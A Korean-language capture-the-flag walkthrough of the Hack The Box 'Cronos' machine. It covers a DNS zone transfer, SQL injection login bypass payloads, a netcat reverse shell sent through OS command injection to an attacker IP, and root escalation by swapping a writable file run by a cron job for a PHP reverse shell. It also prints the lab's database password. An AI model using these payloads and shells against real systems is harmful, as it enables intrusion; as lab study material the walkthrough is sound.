nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
웹서버는 접속해봐도 아파치의 디폴트 페이지만 표시된다.
아무래도 DNS를 살펴봐야 하는 것 같다.
DNS
우선 nslookup으로 도메인을 확인한다.
nslookup <host> <dns server>
nslookup 10.10.10.13 10.10.10.13
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
네임서버의 주소가 나온다.
/etc/hosts 파일에 cronos.htb와 ns1.cronos.htb.를 추가한다.
다음 새로운 디렉토리나 서브도메인을 찾기 위해서 gobuster로 꽤 많은 워드리스트를 돌려봤지만, 아무 것도 걸리는 게 없었다.
이럴 때 시도해 볼 수 있는 것이 DNS 서버를 알기 때문에 (이번 머신 스스로가 dns 서버) zonetransfer를 해볼 수 있다.
Zone transfer는 네트워크가 방대해서 DNS 서버가 여러개 있을 경우, 서로 동기화 하기 위해 DNS 데이터를 한 서버에서 다른 서버로 옮기는 것을 말한다.
zone transfer를 실행하려면 설정에서 enable로 해야한다.
dig의 axfr 커맨드를 사용한다.
dig axfr cronos.htb @ns1.cronos.htb.
; <<>> DiG 9.20.4-4-Debian <<>> axfr cronos.htb @ns1.cronos.htb.
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 316 msec
;; SERVER: 10.10.10.13#53(ns1.cronos.htb.) (TCP)
;; WHEN: Sun Apr 20 02:43:30 EDT 2025
;; XFR size: 7 records (messages 1, bytes 203)
그럼 위와 같이 gobuster로는 찾지 못했던 서브도메인을 찾을 수 있다.
admin.cronos.htb도 /etc/hosts 파일에 추가.
웹서버에 접속하면 새로운 로그인 페이지를 볼 수 있다.
SQL injection
로그인 페이지는 간단하게 sqli로 admin 접속 할 수 있다.
' or 1=1 ; -- #
혹은 admin' -- -
로 로그인한다.
로그인 하면 Net Tool v0.1이라는 툴이 나오는데 자주 보는 OS 커맨드 인젝션이다.
칼리에서 리스닝 포트를 열고 툴에 페이로드를 입력한다.
busybox nc 10.10.14.5 80 -e /bin/bash
로그인 하면 유저 홈 디렉토리에 플래그가 있다.
권한상승
cat config.php
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
데이터베이스의 크레덴셜이 있다.
하지만 데이터베이스에 딱히 유용한 정보는 없었다. nysql -u admin -p
cron잡을 살펴보던 중 1분마다 실행되는 잡을 발견했다.
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
artisan의 파일 권한을 확인해보니 www-data에게 쓰기 권한이 있었다.
php의 리버스쉘 페이로드를 만든 후 파일을 바꿔치기 하면 잠시 후 root로 접속된다.
참고자료
- https://www.acunetix.com/blog/articles/dns-zone-transfers-axfr/